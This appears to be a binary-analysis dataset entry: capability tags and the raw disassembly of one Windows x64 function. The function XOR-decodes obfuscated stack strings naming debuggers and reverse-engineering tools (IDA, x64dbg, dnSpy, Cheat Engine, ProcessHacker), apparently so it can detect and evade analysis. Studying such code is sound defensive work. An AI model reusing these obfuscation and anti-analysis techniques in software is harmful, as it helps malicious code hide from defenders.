Function at 0x14003e030
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Download url
Encode data using xor
Execute command
Parse pe header
Power down monitor
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x1440]
mov eax, 0x1540
call fcn.14007e700
sub rsp, rax
mov rax, qword [0x14009e180]
xor rax, rsp
mov qword [rbp + 0x1430], rax
mov byte [rbp + 0x188], 0x2b
mov dl, 0x48
lea rcx, [rbp + 0x188]
call fcn.140063330
mov byte [rbp + 0x189], al
mov dl, 0x54
lea rcx, [rbp + 0x188]
call fcn.140063330
mov byte [rbp + 0x18a], al
mov dl, 0x54
lea rcx, [rbp + 0x188]
call fcn.140063330
mov byte [rbp + 0x18b], al
mov dl, 0x50
lea rcx, [rbp + 0x188]
call fcn.140063330
mov byte [rbp + 0x18c], al
mov dl, 0x20
lea rcx, [rbp + 0x188]
call fcn.140063330
mov byte [rbp + 0x18d], al
mov dl, 0x44
lea rcx, [rbp + 0x188]
call fcn.140063330
mov byte [rbp + 0x18e], al
mov dl, 0x65
lea rcx, [rbp + 0x188]
call fcn.140063330
mov byte [rbp + 0x18f], al
mov dl, 0x62
lea rcx, [rbp + 0x188]
call fcn.140063330
mov byte [rbp + 0x190], al
mov dl, 0x75
lea rcx, [rbp + 0x188]
call fcn.140063330
mov byte [rbp + 0x191], al
mov dl, 0x67
lea rcx, [rbp + 0x188]
call fcn.140063330
mov byte [rbp + 0x192], al
mov dl, 0x67
lea rcx, [rbp + 0x188]
call fcn.140063330
mov byte [rbp + 0x193], al
mov dl, 0x65
lea rcx, [rbp + 0x188]
call fcn.140063330
mov byte [rbp + 0x194], al
mov dl, 0x72
lea rcx, [rbp + 0x188]
call fcn.140063330
mov byte [rbp + 0x195], al
xor eax, eax
mov byte [rbp + 0x196], al
xor ebx, ebx
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x189]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x188]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x189]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xd
jb 0x14003e190
mov edx, 0xd
lea rcx, [rbp + 0x189]
call fcn.140063560
mov byte [rax], bl
lea rcx, [rbp + 0x189]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xdb0]
call fcn.140027c60
nop
mov byte [rbp + 0x340], 0x49
mov dl, 0x49
lea rcx, [rbp + 0x340]
call fcn.140063330
mov byte [rbp + 0x341], al
mov dl, 0x44
lea rcx, [rbp + 0x340]
call fcn.140063330
mov byte [rbp + 0x342], al
mov dl, 0x41
lea rcx, [rbp + 0x340]
call fcn.140063330
mov byte [rbp + 0x343], al
mov dl, 0x3a
lea rcx, [rbp + 0x340]
call fcn.140063330
mov byte [rbp + 0x344], al
mov dl, 0x20
lea rcx, [rbp + 0x340]
call fcn.140063330
mov byte [rbp + 0x345], al
mov dl, 0x51
lea rcx, [rbp + 0x340]
call fcn.140063330
mov byte [rbp + 0x346], al
mov dl, 0x75
lea rcx, [rbp + 0x340]
call fcn.140063330
mov byte [rbp + 0x347], al
mov dl, 0x69
lea rcx, [rbp + 0x340]
call fcn.140063330
mov byte [rbp + 0x348], al
mov dl, 0x63
lea rcx, [rbp + 0x340]
call fcn.140063330
mov byte [rbp + 0x349], al
mov dl, 0x6b
lea rcx, [rbp + 0x340]
call fcn.140063330
mov byte [rbp + 0x34a], al
mov dl, 0x20
lea rcx, [rbp + 0x340]
call fcn.140063330
mov byte [rbp + 0x34b], al
mov dl, 0x73
lea rcx, [rbp + 0x340]
call fcn.140063330
mov byte [rbp + 0x34c], al
mov dl, 0x74
lea rcx, [rbp + 0x340]
call fcn.140063330
mov byte [rbp + 0x34d], al
mov dl, 0x61
lea rcx, [rbp + 0x340]
call fcn.140063330
mov byte [rbp + 0x34e], al
mov dl, 0x72
lea rcx, [rbp + 0x340]
call fcn.140063330
mov byte [rbp + 0x34f], al
mov dl, 0x74
lea rcx, [rbp + 0x340]
call fcn.140063330
mov byte [rbp + 0x350], al
xor eax, eax
mov byte [rbp + 0x351], al
mov rsi, rbx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0x341]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x340]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x341]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0x10
jb 0x14003e350
mov edx, 0x10
lea rcx, [rbp + 0x341]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x341]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xdd0]
call fcn.140027c60
nop
mov byte [rbp + 0x370], 0x47
mov dl, 0x53
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x371], al
mov dl, 0x63
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x372], al
mov dl, 0x79
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x373], al
mov dl, 0x6c
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x374], al
mov dl, 0x6c
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x375], al
mov dl, 0x61
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x376], al
mov dl, 0x20
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x377], al
mov dl, 0x78
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x378], al
mov dl, 0x36
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x379], al
mov dl, 0x34
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x37a], al
mov dl, 0x20
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x37b], al
mov dl, 0x76
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x37c], al
mov dl, 0x30
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x37d], al
mov dl, 0x2e
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x37e], al
mov dl, 0x39
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x37f], al
mov dl, 0x2e
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x380], al
mov dl, 0x38
lea rcx, [rbp + 0x370]
call fcn.140063330
mov byte [rbp + 0x381], al
xor eax, eax
mov byte [rbp + 0x382], al
mov rsi, rbx
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x371]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x370]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x371]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0x11
jb 0x14003e530
mov edx, 0x11
lea rcx, [rbp + 0x371]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x371]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xdf0]
call fcn.140027c60
nop
mov byte [rbp + 0x158], 0x10
mov dl, 0x50
lea rcx, [rbp + 0x158]
call fcn.140063330
mov byte [rbp + 0x159], al
mov dl, 0x72
lea rcx, [rbp + 0x158]
call fcn.140063330
mov byte [rbp + 0x15a], al
mov dl, 0x6f
lea rcx, [rbp + 0x158]
call fcn.140063330
mov byte [rbp + 0x15b], al
mov dl, 0x63
lea rcx, [rbp + 0x158]
call fcn.140063330
mov byte [rbp + 0x15c], al
mov dl, 0x65
lea rcx, [rbp + 0x158]
call fcn.140063330
mov byte [rbp + 0x15d], al
mov dl, 0x73
lea rcx, [rbp + 0x158]
call fcn.140063330
mov byte [rbp + 0x15e], al
mov dl, 0x73
lea rcx, [rbp + 0x158]
call fcn.140063330
mov byte [rbp + 0x15f], al
mov dl, 0x48
lea rcx, [rbp + 0x158]
call fcn.140063330
mov byte [rbp + 0x160], al
mov dl, 0x61
lea rcx, [rbp + 0x158]
call fcn.140063330
mov byte [rbp + 0x161], al
mov dl, 0x63
lea rcx, [rbp + 0x158]
call fcn.140063330
mov byte [rbp + 0x162], al
mov dl, 0x6b
lea rcx, [rbp + 0x158]
call fcn.140063330
mov byte [rbp + 0x163], al
mov dl, 0x65
lea rcx, [rbp + 0x158]
call fcn.140063330
mov byte [rbp + 0x164], al
mov dl, 0x72
lea rcx, [rbp + 0x158]
call fcn.140063330
mov byte [rbp + 0x165], al
xor eax, eax
mov byte [rbp + 0x166], al
mov rsi, rbx
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x159]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x158]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x159]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xd
jb 0x14003e6c0
mov edx, 0xd
lea rcx, [rbp + 0x159]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x159]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xe10]
call fcn.140027c60
nop
mov byte [rbp + 0x168], 0x25
mov dl, 0x77
lea rcx, [rbp + 0x168]
call fcn.140063330
mov byte [rbp + 0x169], al
mov dl, 0x69
lea rcx, [rbp + 0x168]
call fcn.140063330
mov byte [rbp + 0x16a], al
mov dl, 0x6e
lea rcx, [rbp + 0x168]
call fcn.140063330
mov byte [rbp + 0x16b], al
mov dl, 0x64
lea rcx, [rbp + 0x168]
call fcn.140063330
mov byte [rbp + 0x16c], al
mov dl, 0x6f
lea rcx, [rbp + 0x168]
call fcn.140063330
mov byte [rbp + 0x16d], al
mov dl, 0x77
lea rcx, [rbp + 0x168]
call fcn.140063330
mov byte [rbp + 0x16e], al
mov dl, 0x72
lea rcx, [rbp + 0x168]
call fcn.140063330
mov byte [rbp + 0x16f], al
mov dl, 0x65
lea rcx, [rbp + 0x168]
call fcn.140063330
mov byte [rbp + 0x170], al
mov dl, 0x6e
lea rcx, [rbp + 0x168]
call fcn.140063330
mov byte [rbp + 0x171], al
mov dl, 0x61
lea rcx, [rbp + 0x168]
call fcn.140063330
mov byte [rbp + 0x172], al
mov dl, 0x6d
lea rcx, [rbp + 0x168]
call fcn.140063330
mov byte [rbp + 0x173], al
mov dl, 0x65
lea rcx, [rbp + 0x168]
call fcn.140063330
mov byte [rbp + 0x174], al
mov dl, 0x72
lea rcx, [rbp + 0x168]
call fcn.140063330
mov byte [rbp + 0x175], al
xor eax, eax
mov byte [rbp + 0x176], al
mov rsi, rbx
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x169]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x168]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x169]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xd
jb 0x14003e850
mov edx, 0xd
lea rcx, [rbp + 0x169]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x169]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xe30]
call fcn.140027c60
nop
mov byte [rbp + 0x198], 1
mov dl, 0x52
lea rcx, [rbp + 0x198]
call fcn.140063330
mov byte [rbp + 0x199], al
mov dl, 0x65
lea rcx, [rbp + 0x198]
call fcn.140063330
mov byte [rbp + 0x19a], al
mov dl, 0x73
lea rcx, [rbp + 0x198]
call fcn.140063330
mov byte [rbp + 0x19b], al
mov dl, 0x6f
lea rcx, [rbp + 0x198]
call fcn.140063330
mov byte [rbp + 0x19c], al
mov dl, 0x75
lea rcx, [rbp + 0x198]
call fcn.140063330
mov byte [rbp + 0x19d], al
mov dl, 0x72
lea rcx, [rbp + 0x198]
call fcn.140063330
mov byte [rbp + 0x19e], al
mov dl, 0x63
lea rcx, [rbp + 0x198]
call fcn.140063330
mov byte [rbp + 0x19f], al
mov dl, 0x65
lea rcx, [rbp + 0x198]
call fcn.140063330
mov byte [rbp + 0x1a0], al
mov dl, 0x48
lea rcx, [rbp + 0x198]
call fcn.140063330
mov byte [rbp + 0x1a1], al
mov dl, 0x61
lea rcx, [rbp + 0x198]
call fcn.140063330
mov byte [rbp + 0x1a2], al
mov dl, 0x63
lea rcx, [rbp + 0x198]
call fcn.140063330
mov byte [rbp + 0x1a3], al
mov dl, 0x6b
lea rcx, [rbp + 0x198]
call fcn.140063330
mov byte [rbp + 0x1a4], al
mov dl, 0x65
lea rcx, [rbp + 0x198]
call fcn.140063330
mov byte [rbp + 0x1a5], al
mov dl, 0x72
lea rcx, [rbp + 0x198]
call fcn.140063330
mov byte [rbp + 0x1a6], al
xor eax, eax
mov byte [rbp + 0x1a7], al
mov rsi, rbx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x199]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x198]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x199]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xe
jb 0x14003e9f0
mov edx, 0xe
lea rcx, [rbp + 0x199]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x199]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xe50]
call fcn.140027c60
nop
mov byte [rbp + 0x358], 2
mov dl, 0x43
lea rcx, [rbp + 0x358]
call fcn.140063330
mov byte [rbp + 0x359], al
mov dl, 0x68
lea rcx, [rbp + 0x358]
call fcn.140063330
mov byte [rbp + 0x35a], al
mov dl, 0x65
lea rcx, [rbp + 0x358]
call fcn.140063330
mov byte [rbp + 0x35b], al
mov dl, 0x61
lea rcx, [rbp + 0x358]
call fcn.140063330
mov byte [rbp + 0x35c], al
mov dl, 0x74
lea rcx, [rbp + 0x358]
call fcn.140063330
mov byte [rbp + 0x35d], al
mov dl, 0x20
lea rcx, [rbp + 0x358]
call fcn.140063330
mov byte [rbp + 0x35e], al
mov dl, 0x45
lea rcx, [rbp + 0x358]
call fcn.140063330
mov byte [rbp + 0x35f], al
mov dl, 0x6e
lea rcx, [rbp + 0x358]
call fcn.140063330
mov byte [rbp + 0x360], al
mov dl, 0x67
lea rcx, [rbp + 0x358]
call fcn.140063330
mov byte [rbp + 0x361], al
mov dl, 0x69
lea rcx, [rbp + 0x358]
call fcn.140063330
mov byte [rbp + 0x362], al
mov dl, 0x6e
lea rcx, [rbp + 0x358]
call fcn.140063330
mov byte [rbp + 0x363], al
mov dl, 0x65
lea rcx, [rbp + 0x358]
call fcn.140063330
mov byte [rbp + 0x364], al
mov dl, 0x20
lea rcx, [rbp + 0x358]
call fcn.140063330
mov byte [rbp + 0x365], al
mov dl, 0x37
lea rcx, [rbp + 0x358]
call fcn.140063330
mov byte [rbp + 0x366], al
mov dl, 0x2e
lea rcx, [rbp + 0x358]
call fcn.140063330
mov byte [rbp + 0x367], al
mov dl, 0x35
lea rcx, [rbp + 0x358]
call fcn.140063330
mov byte [rbp + 0x368], al
xor eax, eax
mov byte [rbp + 0x369], al
mov rsi, rbx
nop
mov rdx, rsi
lea rcx, [rbp + 0x359]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x358]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x359]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0x10
jb 0x14003ebb0
mov edx, 0x10
lea rcx, [rbp + 0x359]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x359]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xe70]
call fcn.140027c60
nop
mov byte [rbp + 0x118], 1
mov dl, 0x43
lea rcx, [rbp + 0x118]
call fcn.140063330
mov byte [rbp + 0x119], al
mov dl, 0x68
lea rcx, [rbp + 0x118]
call fcn.140063330
mov byte [rbp + 0x11a], al
mov dl, 0x65
lea rcx, [rbp + 0x118]
call fcn.140063330
mov byte [rbp + 0x11b], al
mov dl, 0x61
lea rcx, [rbp + 0x118]
call fcn.140063330
mov byte [rbp + 0x11c], al
mov dl, 0x74
lea rcx, [rbp + 0x118]
call fcn.140063330
mov byte [rbp + 0x11d], al
mov dl, 0x20
lea rcx, [rbp + 0x118]
call fcn.140063330
mov byte [rbp + 0x11e], al
mov dl, 0x45
lea rcx, [rbp + 0x118]
call fcn.140063330
mov byte [rbp + 0x11f], al
mov dl, 0x6e
lea rcx, [rbp + 0x118]
call fcn.140063330
mov byte [rbp + 0x120], al
mov dl, 0x67
lea rcx, [rbp + 0x118]
call fcn.140063330
mov byte [rbp + 0x121], al
mov dl, 0x69
lea rcx, [rbp + 0x118]
call fcn.140063330
mov byte [rbp + 0x122], al
mov dl, 0x6e
lea rcx, [rbp + 0x118]
call fcn.140063330
mov byte [rbp + 0x123], al
mov dl, 0x65
lea rcx, [rbp + 0x118]
call fcn.140063330
mov byte [rbp + 0x124], al
xor eax, eax
mov byte [rbp + 0x125], al
mov rsi, rbx
nop
mov rdx, rsi
lea rcx, [rbp + 0x119]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x118]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x119]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xc
jb 0x14003ed20
mov edx, 0xc
lea rcx, [rbp + 0x119]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x119]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xe90]
call fcn.140027c60
nop
mov byte [rbp + 0x2e0], 0xe
mov dl, 0x43
lea rcx, [rbp + 0x2e0]
call fcn.140063330
mov byte [rbp + 0x2e1], al
mov dl, 0x68
lea rcx, [rbp + 0x2e0]
call fcn.140063330
mov byte [rbp + 0x2e2], al
mov dl, 0x65
lea rcx, [rbp + 0x2e0]
call fcn.140063330
mov byte [rbp + 0x2e3], al
mov dl, 0x61
lea rcx, [rbp + 0x2e0]
call fcn.140063330
mov byte [rbp + 0x2e4], al
mov dl, 0x74
lea rcx, [rbp + 0x2e0]
call fcn.140063330
mov byte [rbp + 0x2e5], al
mov dl, 0x20
lea rcx, [rbp + 0x2e0]
call fcn.140063330
mov byte [rbp + 0x2e6], al
mov dl, 0x45
lea rcx, [rbp + 0x2e0]
call fcn.140063330
mov byte [rbp + 0x2e7], al
mov dl, 0x6e
lea rcx, [rbp + 0x2e0]
call fcn.140063330
mov byte [rbp + 0x2e8], al
mov dl, 0x67
lea rcx, [rbp + 0x2e0]
call fcn.140063330
mov byte [rbp + 0x2e9], al
mov dl, 0x69
lea rcx, [rbp + 0x2e0]
call fcn.140063330
mov byte [rbp + 0x2ea], al
mov dl, 0x6e
lea rcx, [rbp + 0x2e0]
call fcn.140063330
mov byte [rbp + 0x2eb], al
mov dl, 0x65
lea rcx, [rbp + 0x2e0]
call fcn.140063330
mov byte [rbp + 0x2ec], al
mov dl, 0x20
lea rcx, [rbp + 0x2e0]
call fcn.140063330
mov byte [rbp + 0x2ed], al
mov dl, 0x36
lea rcx, [rbp + 0x2e0]
call fcn.140063330
mov byte [rbp + 0x2ee], al
mov dl, 0x2e
lea rcx, [rbp + 0x2e0]
call fcn.140063330
mov byte [rbp + 0x2ef], al
mov dl, 0x35
lea rcx, [rbp + 0x2e0]
call fcn.140063330
mov byte [rbp + 0x2f0], al
xor eax, eax
mov byte [rbp + 0x2f1], al
mov rsi, rbx
nop
mov rdx, rsi
lea rcx, [rbp + 0x2e1]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x2e0]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x2e1]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0x10
jb 0x14003eee0
mov edx, 0x10
lea rcx, [rbp + 0x2e1]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x2e1]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xeb0]
call fcn.140027c60
nop
mov byte [rbp + 0x388], 6
mov dl, 0x64
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x389], al
mov dl, 0x6e
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x38a], al
mov dl, 0x53
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x38b], al
mov dl, 0x70
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x38c], al
mov dl, 0x79
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x38d], al
mov dl, 0x20
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x38e], al
mov dl, 0x76
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x38f], al
mov dl, 0x36
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x390], al
mov dl, 0x2e
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x391], al
mov dl, 0x31
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x392], al
mov dl, 0x2e
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x393], al
mov dl, 0x38
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x394], al
mov dl, 0x20
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x395], al
mov dl, 0x28
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x396], al
mov dl, 0x36
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x397], al
mov dl, 0x34
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x398], al
mov dl, 0x2d
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x399], al
mov dl, 0x62
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x39a], al
mov dl, 0x69
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x39b], al
mov dl, 0x74
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x39c], al
mov dl, 0x2c
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x39d], al
mov dl, 0x20
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x39e], al
mov dl, 0x2e
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x39f], al
mov dl, 0x4e
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x3a0], al
mov dl, 0x45
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x3a1], al
mov dl, 0x54
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x3a2], al
mov dl, 0x29
lea rcx, [rbp + 0x388]
call fcn.140063330
mov byte [rbp + 0x3a3], al
xor eax, eax
mov byte [rbp + 0x3a4], al
mov rsi, rbx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x389]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x388]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x389]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0x1b
jb 0x14003f180
mov edx, 0x1b
lea rcx, [rbp + 0x389]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x389]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xed0]
call fcn.140027c60
nop
mov byte [rbp + 0x128], 0x47
mov dl, 0x64
lea rcx, [rbp + 0x128]
call fcn.140063330
mov byte [rbp + 0x129], al
mov dl, 0x6e
lea rcx, [rbp + 0x128]
call fcn.140063330
mov byte [rbp + 0x12a], al
mov dl, 0x53
lea rcx, [rbp + 0x128]
call fcn.140063330
mov byte [rbp + 0x12b], al
mov dl, 0x70
lea rcx, [rbp + 0x128]
call fcn.140063330
mov byte [rbp + 0x12c], al
mov dl, 0x79
lea rcx, [rbp + 0x128]
call fcn.140063330
mov byte [rbp + 0x12d], al
mov dl, 0x20
lea rcx, [rbp + 0x128]
call fcn.140063330
mov byte [rbp + 0x12e], al
mov dl, 0x76
lea rcx, [rbp + 0x128]
call fcn.140063330
mov byte [rbp + 0x12f], al
mov dl, 0x36
lea rcx, [rbp + 0x128]
call fcn.140063330
mov byte [rbp + 0x130], al
mov dl, 0x2e
lea rcx, [rbp + 0x128]
call fcn.140063330
mov byte [rbp + 0x131], al
mov dl, 0x31
lea rcx, [rbp + 0x128]
call fcn.140063330
mov byte [rbp + 0x132], al
mov dl, 0x2e
lea rcx, [rbp + 0x128]
call fcn.140063330
mov byte [rbp + 0x133], al
mov dl, 0x38
lea rcx, [rbp + 0x128]
call fcn.140063330
mov byte [rbp + 0x134], al
xor eax, eax
mov byte [rbp + 0x135], al
mov rsi, rbx
nop
mov rdx, rsi
lea rcx, [rbp + 0x129]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x128]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x129]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xc
jb 0x14003f2f0
mov edx, 0xc
lea rcx, [rbp + 0x129]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x129]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xef0]
call fcn.140027c60
nop
mov byte [rbp - 0x20], 0x73
mov dl, 0x78
lea rcx, [rbp - 0x20]
call fcn.140063330
mov byte [rbp - 0x1f], al
mov dl, 0x36
lea rcx, [rbp - 0x20]
call fcn.140063330
mov byte [rbp - 0x1e], al
mov dl, 0x34
lea rcx, [rbp - 0x20]
call fcn.140063330
mov byte [rbp - 0x1d], al
mov dl, 0x64
lea rcx, [rbp - 0x20]
call fcn.140063330
mov byte [rbp - 0x1c], al
mov dl, 0x62
lea rcx, [rbp - 0x20]
call fcn.140063330
mov byte [rbp - 0x1b], al
mov dl, 0x67
lea rcx, [rbp - 0x20]
call fcn.140063330
mov byte [rbp - 0x1a], al
xor eax, eax
mov byte [rbp - 0x19], al
mov rsi, rbx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp - 0x1f]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp - 0x20]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp - 0x1f]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 6
jb 0x14003f3c0
mov edx, 6
lea rcx, [rbp - 0x1f]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp - 0x1f]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xf10]
call fcn.140027c60
nop
mov byte [rbp - 0x18], 0x31
mov dl, 0x78
lea rcx, [rbp - 0x18]
call fcn.140063330
mov byte [rbp - 0x17], al
mov dl, 0x33
lea rcx, [rbp - 0x18]
call fcn.140063330
mov byte [rbp - 0x16], al
mov dl, 0x32
lea rcx, [rbp - 0x18]
call fcn.140063330
mov byte [rbp - 0x15], al
mov dl, 0x64
lea rcx, [rbp - 0x18]
call fcn.140063330
mov byte [rbp - 0x14], al
mov dl, 0x62
lea rcx, [rbp - 0x18]
call fcn.140063330
mov byte [rbp - 0x13], al
mov dl, 0x67
lea rcx, [rbp - 0x18]
call fcn.140063330
mov byte [rbp - 0x12], al
xor eax, eax
mov byte [rbp - 0x11], al
mov rsi, rbx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp - 0x17]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp - 0x18]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp - 0x17]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 6
jb 0x14003f480
mov edx, 6
lea rcx, [rbp - 0x17]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp - 0x17]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xf30]
call fcn.140027c60
nop
mov byte [rsp + 0x6c], 0x7c
mov dl, 0x69
lea rcx, [rsp + 0x6c]
call fcn.140063330
mov byte [rsp + 0x6d], al
mov dl, 0x64
lea rcx, [rsp + 0x6c]
call fcn.140063330
mov byte [rsp + 0x6e], al
mov dl, 0x61
lea rcx, [rsp + 0x6c]
call fcn.140063330
mov byte [rsp + 0x6f], al
mov dl, 0x71
lea rcx, [rsp + 0x6c]
call fcn.140063330
mov byte [rsp + 0x70], al
xor eax, eax
mov byte [rsp + 0x71], al
mov rsi, rbx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rsp + 0x6d]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rsp + 0x6c]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rsp + 0x6d]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 4
jb 0x14003f530
mov edx, 4
lea rcx, [rsp + 0x6d]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rsp + 0x6d]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xf50]
call fcn.140027c60
nop
mov byte [rsp + 0x5c], 0x55
mov dl, 0x49
lea rcx, [rsp + 0x5c]
call fcn.140063330
mov byte [rsp + 0x5d], al
mov dl, 0x44
lea rcx, [rsp + 0x5c]
call fcn.140063330
mov byte [rsp + 0x5e], al
mov dl, 0x41
lea rcx, [rsp + 0x5c]
call fcn.140063330
mov byte [rsp + 0x5f], al
xor eax, eax
mov byte [rsp + 0x60], al
